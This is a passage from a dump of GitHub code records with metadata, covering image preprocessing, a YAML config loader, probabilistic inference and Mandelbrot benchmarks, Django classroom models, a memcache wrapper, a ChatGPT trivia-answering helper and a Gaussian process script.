target point, otherwise it is noise\r\ndef denoising(im):\r\n pixdata = im.load()\r\n w, h = im.size\r\n for j in range(1, h - 1):\r\n for i in range(1, w - 1):\r\n count = 0\r\n if pixdata[i, j - 1] > 245:\r\n count = count + 1\r\n if pixdata[i, j + 1] > 245:\r\n count = count + 1\r\n if pixdata[i + 1, j] > 245:\r\n count = count + 1\r\n if pixdata[i - 1, j] > 245:\r\n count = count + 1\r\n if count > 2:\r\n pixdata[i, j] = 255\r\n return im\r\n\r\n\r\ndef imgTransfer(f_name):\r\n im = Image.open(f_name)\r\n im = im.filter(ImageFilter.MedianFilter(1)) # set up the filter\r\n im = ImageEnhance.Contrast(im).enhance(1.5) # enhance the figure\r\n im = im.convert('L') # gray transfer\r\n im = denoising(im) # denoise the fig\r\n return im\r\n\r\n\r\nos.makedirs(\"gray_data\")\r\n\r\n# The process of saving the figures and recode the figures\r\npath = \"face_age\"\r\nage_list = os.listdir(path)\r\ncount = 1\r\nfor age in age_list:\r\n # find the path of file names for ages\r\n fig_list = os.listdir(path + \"/\" + age)\r\n # a wrong folder of the figures should be removed\r\n if age == \"face_age\":\r\n continue\r\n for fig in fig_list:\r\n path_new = path + \"/\" + age + \"/\" + fig\r\n imgTransfer(path_new).save(\"gray_data/\" + str(count) + \".png\")\r\n count = count + 1\r\n\r\n# The process of saving the fliped figures and recode the fliped figures\r\npath = \"face_age\"\r\nage_list = os.listdir(path)\r\nfor age in age_list:\r\n # find the path of file names for ages\r\n fig_list = os.listdir(path + \"/\" + age)\r\n # a wrong folder of the figures should be removed\r\n if age == \"face_age\":\r\n continue\r\n for fig in fig_list:\r\n path_new = path + \"/\" + age + \"/\" + fig\r\n imgTransfer(path_new).transpose(Image.FLIP_LEFT_RIGHT).save(\"gray_data/\" + str(count) + \".png\")\r\n count = count + 1\r\n print(count)\r\n", "repo_name": "JinchengHeRyan/STATS_302_Final", "sub_path": "preprocess/gray_transformation.py", "file_name": "gray_transformation.py", "file_ext": "py", "file_size_in_byte": 2333, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "PIL.Image.open", "line_number": 31, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 31, "usage_type": "name"}, {"api_name": "PIL.ImageFilter.MedianFilter", "line_number": 32, "usage_type": "call"}, {"api_name": "PIL.ImageFilter", "line_number": 32, "usage_type": "name"}, {"api_name": "PIL.ImageEnhance.Contrast", "line_number": 33, "usage_type": "call"}, {"api_name": "PIL.ImageEnhance", "line_number": 33, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 39, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 43, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 47, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 58, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 61, "usage_type": "call"}, {"api_name": "PIL.Image.FLIP_LEFT_RIGHT", "line_number": 67, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 67, "usage_type": "name"}]} +{"seq_id": "23936265601", "text": "#coding=utf8\nimport re , os , yaml, logging\n# import interface\nimport utls.dbc, utls.var_proc\n# from utls.rg_io import rg_logger\n\n\n\ndef load_conf(conf_path,ori,new) :\n l = loader(conf_path)\n return l.load_data(ori,new)\n\n\nclass loader:\n def __init__(self,conf):\n self.conf = conf\n utls.dbc.must_exists(self.conf)\n self.curpath = os.path.dirname(self.conf)\n logging.getLogger().debug(\"yaml current path:%s\" %self.curpath)\n def load(self):\n utls.dbc.must_exists(self.conf)\n doc = open(self.conf,\"r\").read()\n return doc\n\n def load_data(self,ori=None,new=None):\n doc = self.load()\n if ori is not None:\n doc = doc.replace(ori,\"!!python/object:\" + new)\n # doc = utls.var_proc.value_of(doc) \n data = yaml.load(doc)\n main = data['main']\n main.on_load()\n return main\n", "repo_name": "xcodecraft/cmd-mind", "sub_path": "src/impl/conf_yaml.py", "file_name": "conf_yaml.py", "file_ext": "py", "file_size_in_byte": 886, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "utls.dbc.dbc.must_exists", "line_number": 17, "usage_type": "call"}, {"api_name": "utls.dbc.dbc", "line_number": 17, "usage_type": "attribute"}, {"api_name": "utls.dbc", "line_number": 17, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 19, "usage_type": "call"}, {"api_name": "utls.dbc.dbc.must_exists", "line_number": 21, "usage_type": "call"}, {"api_name": "utls.dbc.dbc", "line_number": 21, "usage_type": "attribute"}, {"api_name": "utls.dbc", "line_number": 21, "usage_type": "name"}, {"api_name": "yaml.load", "line_number": 30, "usage_type": "call"}]} +{"seq_id": "25470509798", "text": "import matplotlib.pyplot as plt\n\nfrom brancher.variables import ProbabilisticModel\nfrom brancher.standard_variables import BernulliVariable, NormalVariable\nimport brancher.functions as BF\nfrom brancher import inference\nfrom brancher.inference import ReverseKL\nfrom brancher.gradient_estimators import BlackBoxEstimator, Taylor1Estimator\n\n#Model\nz1 = BernulliVariable(logits=0., name=\"z1\")\nz2 = BernulliVariable(logits=0., name=\"z2\")\ny = NormalVariable(2 * z1 + z2, 1., name=\"y\")\nmodel = ProbabilisticModel([y])\n\n#Generate data\ndata = y.get_sample(20, input_values={z1: 1, z2: 0})\ndata.hist(bins=20)\nplt.show()\n\n#Observe data\ny.observe(data)\n\n#Variational Model\nQz1 = BernulliVariable(logits=0., name=\"z1\", learnable=True)\nQz2 = BernulliVariable(logits=0., name=\"z2\", learnable=True)\nvariational_model = ProbabilisticModel([Qz1, Qz2])\nmodel.set_posterior_model(variational_model)\n\n# Joint-contrastive inference\ninference.perform_inference(model,\n inference_method=ReverseKL(gradient_estimator=Taylor1Estimator),\n number_iterations=600,\n number_samples=20,\n optimizer=\"SGD\",\n lr=0.001)\nloss_list = model.diagnostics[\"loss curve\"]\n\n#Plot results\nplt.plot(loss_list)\nplt.show()\n\n#Plot posterior\nmodel.get_posterior_sample(200).hist(bins=20)\nplt.show()", "repo_name": "AI-DI/Brancher", "sub_path": "development_playgrounds/discrete_variables_inference.py", "file_name": "discrete_variables_inference.py", "file_ext": "py", "file_size_in_byte": 1382, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 203, "dataset": "github-code", "pt": "16", "api": [{"api_name": "brancher.standard_variables.BernulliVariable", "line_number": 11, "usage_type": "call"}, {"api_name": "brancher.standard_variables.BernulliVariable", "line_number": 12, "usage_type": "call"}, {"api_name": "brancher.standard_variables.NormalVariable", "line_number": 13, "usage_type": "call"}, {"api_name": "brancher.variables.ProbabilisticModel", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "brancher.standard_variables.BernulliVariable", "line_number": 25, "usage_type": "call"}, {"api_name": "brancher.standard_variables.BernulliVariable", "line_number": 26, "usage_type": "call"}, {"api_name": "brancher.variables.ProbabilisticModel", "line_number": 27, "usage_type": "call"}, {"api_name": "brancher.inference.perform_inference", "line_number": 31, "usage_type": "call"}, {"api_name": "brancher.inference", "line_number": 31, "usage_type": "name"}, {"api_name": "brancher.inference.ReverseKL", "line_number": 32, "usage_type": "call"}, {"api_name": "brancher.gradient_estimators.Taylor1Estimator", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}]} +{"seq_id": "6562755437", "text": "import numba\nimport numpy as np\nimport timeit\nfrom timeit import default_timer as timer\nimport pandas as pd\nimport cython_mandelbrot as cm\nimport numba_mandelbrot as nm\nimport matplotlib.pyplot as plt\nimport joblib\nimport tempfile\nimport os\n\ndef main1():\n library=\"cm\"\n image = np.zeros((10000 * 2, 15000 * 2), dtype=np.uint8)\n s = timer()\n if library==\"nm\":\n nm.create_fractal_parallel(-2.0, 1.0, -1.0, 1.0, image, 20)\n elif library==\"cm\":\n cm.create_fractal_parallel(-2.0, 1.0, -1.0, 1.0, image, 20)\n # print(cm.mandel(-1.74,-0.532,20))\n e = timer()\n print(e - s)\n fig,ax=plt.subplots()\n ax.imshow(image)\n fig.savefig(f\"plot--{library}.jpg\")\ndef main2():\n library=\"cm\"\n image_list=[np.zeros((10000 * 2, 15000 * 2), dtype=np.uint8) for _ in range(3)]\n base_coord_range=(-2.0, 1.0, -1.0, 1.0)\n coord_range_list=[\n [c*mul for c in base_coord_range] for mul in [1,2,4]\n ]\n memmap_list=list()\n for i in range(len(image_list)):\n temp_folder = tempfile.mkdtemp()\n filename = os.path.join(temp_folder, f'joblib_test_{i}.mmap')\n if os.path.exists(filename): os.unlink(filename)\n _ = joblib.dump(image_list[i], filename)\n mmap = joblib.load(filename, mmap_mode='r+')\n memmap_list.append(mmap)\n s=timer()\n if library==\"nm\":\n with joblib.parallel_backend(backend=\"threading\"): # lizx: try threading and loky\n with joblib.Parallel(n_jobs=len(image_list)) as parallel:\n parallel(\n [joblib.delayed(nm.create_fractal_sequential_nogil)(*(coord_range_list[i]), memmap_list[i], 20) for i in range(len(memmap_list))]\n )\n\n elif library==\"cm\":\n with joblib.parallel_backend(backend=\"threading\"):\n with joblib.Parallel(n_jobs=len(image_list)) as parallel:\n parallel(\n [joblib.delayed(cm.create_fractal_sequential_nogil)(*(coord_range_list[i]), memmap_list[i], 20) for i in range(len(memmap_list))]\n )\n e=timer()\n print(e - s)\n\n # fig,ax=plt.subplots()\n # for i in range(len(memmap_list)):\n # ax.imshow(memmap_list[i])\n # fig.savefig(f\"plot--{library}--mmap_{i}.jpg\")\nif __name__==\"__main__\":\n main1()", "repo_name": "lzx325/code_collections", "sub_path": "Python/Cython/Mandelbrot_with_Numba_and_Cython/Mandelbrot/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2268, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.zeros", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 15, "usage_type": "attribute"}, {"api_name": "timeit.default_timer", "line_number": 16, "usage_type": "call"}, {"api_name": "numba_mandelbrot.create_fractal_parallel", "line_number": 18, "usage_type": "call"}, {"api_name": "cython_mandelbrot.create_fractal_parallel", "line_number": 20, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 29, "usage_type": "attribute"}, {"api_name": "tempfile.mkdtemp", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.unlink", "line_number": 38, "usage_type": "call"}, {"api_name": "joblib.dump", "line_number": 39, "usage_type": "call"}, {"api_name": "joblib.load", "line_number": 40, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 42, "usage_type": "call"}, {"api_name": "joblib.parallel_backend", "line_number": 44, "usage_type": "call"}, {"api_name": "joblib.Parallel", "line_number": 45, "usage_type": "call"}, {"api_name": "joblib.delayed", "line_number": 47, "usage_type": "call"}, {"api_name": "numba_mandelbrot.create_fractal_sequential_nogil", "line_number": 47, "usage_type": "attribute"}, {"api_name": "joblib.parallel_backend", "line_number": 51, "usage_type": "call"}, {"api_name": "joblib.Parallel", "line_number": 52, "usage_type": "call"}, {"api_name": "joblib.delayed", "line_number": 54, "usage_type": "call"}, {"api_name": "cython_mandelbrot.create_fractal_sequential_nogil", "line_number": 54, "usage_type": "attribute"}, {"api_name": "timeit.default_timer", "line_number": 56, "usage_type": "call"}]} +{"seq_id": "23239754755", "text": "# -*- coding: UTF-8 -*-\nfrom django.db import models\nfrom django.contrib.auth.models import User\nfrom django.utils import timezone\nfrom datetime import datetime, timedelta\n\n# 班級\nclass Classroom(models.Model):\n Lesson_CHOICES = [\t\t\t\t\n (1, '程式設計輕鬆學：使用Scratch2.X'),\n (2, 'VPhyscis物理模擬：使用Python2'), \n (3, 'Euler數學解題：使用Python3'),\n (4, 'VPhyscis物理模擬：建中特色課程'), \n (5, 'VPhyscis物理模擬：使用Python3'), \n (6, '機器人程式設計：使用Microbit'),\n (7, 'Pandas數據分析：使用Python3'), \n (8, 'Django網站開發：使用Python3'), \n (9, 'Science科學運算：使用Python3'), \n (10, '網路讀書會：好書共讀'), \n\t\t]\t\n\t\t\n LessonShort_CHOICES = [\t\n (1, 'Scratch'),\n (2, 'VPhyscis2'),\n (3, 'Euler'),\n (4, 'VPhysics-CK'), \n (5, 'VPhysics3'), \n (6, 'Microbit'), \n (7, 'Pandas'), \n (8, 'Django'), \n (9, 'Science'), \n (10, 'Book'), \n\t\t]\t\t\n # 班級名稱\n name = models.CharField(max_length=30)\n # 課程名稱\n lesson = models.IntegerField(default=0, choices=Lesson_CHOICES)\t\t\t\n # 選課密碼\n password = models.CharField(max_length=30)\n # 授課教師\n teacher_id = models.IntegerField(default=0)\n # 是否開放分組\n group_open = models.BooleanField(default=True)\n # 組別數目\n group_number = models.IntegerField(default=8)\t\n # 組別人數\n group_size = models.IntegerField(default=4)\n # 是否開放創意秀分組\n group_show_open = models.BooleanField(default=False)\n # 組別人數\n group_show_size = models.IntegerField(default=2) \n\t# 事件\n event_open = models.BooleanField(default=True)\n\t# 課程事件\n event_video_open = models.BooleanField(default=True) \n \n @property\n def teacher(self):\n return User.objects.get(id=self.teacher_id) \n \n def __unicode__(self):\n return self.name\n \n def lesson_choice(self):\n return dict(Classroom.LessonShort_CHOICES)[self.lesson]\t\n\t\t\t\n#匯入\nclass ImportUser(models.Model):\n\tusername = models.CharField(max_length=50, default=\"\")\n\tfirst_name = models.CharField(max_length=50, default=\"\")\n\tpassword = models.CharField(max_length=50, default=\"\")\n\temail = models.CharField(max_length=100, default=\"\")\t\n \n#自訂作業\nclass TWork(models.Model):\n title = models.CharField(max_length=250)\t\n classroom_id = models.IntegerField(default=0)\n time = models.DateTimeField(default=timezone.now)\n\n#檢核作業\nclass CWork(models.Model):\n title = models.CharField(max_length=250)\t\n classroom_id = models.IntegerField(default=0)\n time = models.DateTimeField(default=timezone.now)\n \n \n#班級助教\nclass Assistant(models.Model):\n classroom_id = models.IntegerField(default=0)\n user_id = models.IntegerField(default=0)\n \n#討論區\nclass FWork(models.Model):\n title = models.CharField(max_length=250,verbose_name= '討論主題')\n teacher_id = models.IntegerField(default=0)\t\t\n classroom_id = models.IntegerField(default=0)\n time = models.DateTimeField(default=timezone.now) \n domains = models.TextField(default='') \n levels = models.TextField(default='') \n\ndef get_deadline():\n return datetime.today() + timedelta(days=14)\t\t\n\t\t\nclass FClass(models.Model):\n forum_id = models.IntegerField(default=0)\n classroom_id = models.IntegerField(default=0)\n publication_date = models.DateTimeField(default=timezone.now)\n deadline = models.BooleanField(default=False)\n deadline_date = models.DateTimeField(default=get_deadline)\n\t\n def __unicode__(self):\n return str(self.forum_id)\t\n\nclass FContent(models.Model):\n forum_id = models.IntegerField(default=0)\n types = models.IntegerField(default=0)\n title = models.CharField(max_length=250,null=True,blank=True)\n memo = models.TextField(default='') \n link = models.CharField(max_length=250,null=True,blank=True) \n youtube = models.CharField(max_length=250,null=True,blank=True) \n youtube_length = models.IntegerField(default=0)\n file = models.FileField(blank=True,null=True)\n filename = models.CharField(max_length=60,null=True,blank=True) \n\t\t\t\t", "repo_name": "jeankao/coding", "sub_path": "teacher/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 4373, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.db.models.Model", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 8, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 35, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 35, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 37, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 37, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 39, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 39, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 41, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 41, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 43, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 43, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 45, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 45, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 47, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 47, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 49, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 49, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 51, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 51, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 53, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 53, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 55, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 55, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 59, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 59, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 59, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 68, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 68, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 69, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 69, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 70, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 70, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 71, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 71, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 72, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 72, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 75, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 75, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 76, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 76, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 77, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 77, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 78, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 78, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 78, "usage_type": "attribute"}, {"api_name": "django.utils.timezone", "line_number": 78, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 81, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 81, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 82, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 82, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 83, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 83, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 84, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 84, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 84, "usage_type": "attribute"}, {"api_name": "django.utils.timezone", "line_number": 84, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 88, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 88, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 89, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 89, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 90, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 90, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 93, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 93, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 94, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 94, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 95, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 95, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 96, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 96, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 97, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 97, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 97, "usage_type": "attribute"}, {"api_name": "django.utils.timezone", "line_number": 97, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 98, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 98, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 99, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 99, "usage_type": "name"}, {"api_name": "datetime.datetime.today", "line_number": 102, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 102, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 102, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 104, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 104, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 105, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 105, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 106, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 106, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 107, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 107, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 107, "usage_type": "attribute"}, {"api_name": "django.utils.timezone", "line_number": 107, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 108, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 108, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 109, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 109, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 114, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 114, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 115, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 115, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 116, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 116, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 117, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 117, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 118, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 118, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 119, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 119, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 120, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 120, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 121, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 121, "usage_type": "name"}, {"api_name": "django.db.models.FileField", "line_number": 122, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 122, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 123, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 123, "usage_type": "name"}]} +{"seq_id": "23454306565", "text": "import uuid\nfrom google.appengine.api import memcache\n\nclass CollectionCache:\n\n\n def __init__(self, timeout=480, hash=None):\n self.contents = [];\n if hash:\n self.contents = memcache.get(hash)\n self.timeout = timeout\n\n def add(self, item):\n hash = uuid.uuid1().hex\n memcache.add(hash, item, time = self.timeout)\n self.contents.append(hash)\n return hash\n\n def commit(self):\n hash = uuid.uuid1().hex\n memcache.add(hash, self.contents, time = self.timeout)\n return hash\n\n\n def fetchAll(self):\n if not self.contents:\n return []\n return [[key,memcache.get(key)] for key in self.contents]\n\n def fetch(self):\n for key in self.contents:\n item = memcache.get(key)\n if item:\n yield key,item", "repo_name": "rmoskal/e-springpad", "sub_path": "collection_cache.py", "file_name": "collection_cache.py", "file_ext": "py", "file_size_in_byte": 845, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "google.appengine.api.memcache.get", "line_number": 10, "usage_type": "call"}, {"api_name": "google.appengine.api.memcache", "line_number": 10, "usage_type": "name"}, {"api_name": "uuid.uuid1", "line_number": 14, "usage_type": "call"}, {"api_name": "google.appengine.api.memcache.add", "line_number": 15, "usage_type": "call"}, {"api_name": "google.appengine.api.memcache", "line_number": 15, "usage_type": "name"}, {"api_name": "uuid.uuid1", "line_number": 20, "usage_type": "call"}, {"api_name": "google.appengine.api.memcache.add", "line_number": 21, "usage_type": "call"}, {"api_name": "google.appengine.api.memcache", "line_number": 21, "usage_type": "name"}, {"api_name": "google.appengine.api.memcache.get", "line_number": 28, "usage_type": "call"}, {"api_name": "google.appengine.api.memcache", "line_number": 28, "usage_type": "name"}, {"api_name": "google.appengine.api.memcache.get", "line_number": 32, "usage_type": "call"}, {"api_name": "google.appengine.api.memcache", "line_number": 32, "usage_type": "name"}]} +{"seq_id": "33501534479", "text": "from collections import Counter\nclass Solution:\n def topKFrequent(self, words: List[str], k: int) -> List[str]:\n counted = Counter(words)\n\n heap = [(-count, word) for word, count in counted.items()]\n heapq.heapify(heap)\n\n ans = []\n for i in range(k):\n count, word = heapq.heappop(heap)\n ans.append(word)\n \n return ans", "repo_name": "dagiTensay/competitve-programming", "sub_path": "0692-top-k-frequent-words/0692-top-k-frequent-words.py", "file_name": "0692-top-k-frequent-words.py", "file_ext": "py", "file_size_in_byte": 391, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "collections.Counter", "line_number": 4, "usage_type": "call"}]} +{"seq_id": "72983666247", "text": "import openai\nfrom setup import *\n\nopenai.api_key = user_key\n\n# Adjust temperature to either increase or decrease the randomness of ChatGPT's responses. 0.0-2.0\n# Adjust max_tokens to increase or decrease the length of resposnes\ndef ChatGPT_conversation(conversation):\n response = openai.ChatCompletion.create(\n model=model_select, messages=conversation, max_tokens=50, temperature=0.1\n )\n conversation.append(\n {\n \"role\": response.choices[0].message.role,\n \"content\": response.choices[0].message.content,\n }\n )\n return conversation\n\n\ndef completed_assistant(\n prompt,\n conversation=[\n {\"role\": \"system\", \"content\": \"You answer trivia questions\"},\n {\n \"role\": \"user\",\n \"content\": \"I will provide questions in the following format: Question: example question. Possible Answers: 1. example answer, 2. example Answer, 3. example answer, 4. example answer\",\n },\n {\n \"role\": \"user\",\n \"content\": \"You are to answer every question with the number corresponding to the correct answer. Only give the number of the answer, nothing else. Never respond with anything other than a number. If you don't know the answer, simply guess a number based on the answers\",\n },\n {\n \"role\": \"user\",\n \"content\": \"This is an example: Question: How long does it take sunlight to reach the Earth?. 1. 8 minutes, 2. 1 minute, 3. 36 minutes, 4. 4 hours. And you would respond with the number 1\",\n },\n ],\n):\n conversation.append({\"role\": \"user\", \"content\": prompt})\n conversation = ChatGPT_conversation(conversation)\n return conversation[-1][\"content\"]\n", "repo_name": "seaborg1/kahoot-bot-gpt", "sub_path": "chat_functionality.py", "file_name": "chat_functionality.py", "file_ext": "py", "file_size_in_byte": 1713, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "openai.api_key", "line_number": 4, "usage_type": "attribute"}, {"api_name": "openai.ChatCompletion.create", "line_number": 9, "usage_type": "call"}, {"api_name": "openai.ChatCompletion", "line_number": 9, "usage_type": "attribute"}]} +{"seq_id": "10100476752", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\n# Path to HAL module\n# can be downloaded at https://github.com/cagrell/HAL\nimport os, sys\nsys.path.append('..\\\\HAL\\\\')\n\nfrom HAL.GP.model import GPmodel\nfrom HAL.GP.kern import kernel_Matern52\n\ndef fun_x(x):\n \"\"\"\n f(x) function to emulate\n \"\"\"\n xs = x\n f = (0.4*xs - 0.3)**2 + np.exp(-11.534*np.abs(xs)**(1.95)) + np.exp(-5*(xs - 0.8)**2) # From Becht & Ginsbourger paper\n return -(f - 1)\n\n\ndef get_initial_model(x_design, y_design):\n \"\"\"\n Initial GP model\n \"\"\"\n ker = kernel_Matern52(variance = 0.1, lengthscale = [0.5])\n model = GPmodel(kernel = ker, likelihood = 1e-5, mean = 0) \n model.verbatim = False\n\n # Training data\n model.X_training = x_design\n model.Y_training = y_design\n\n 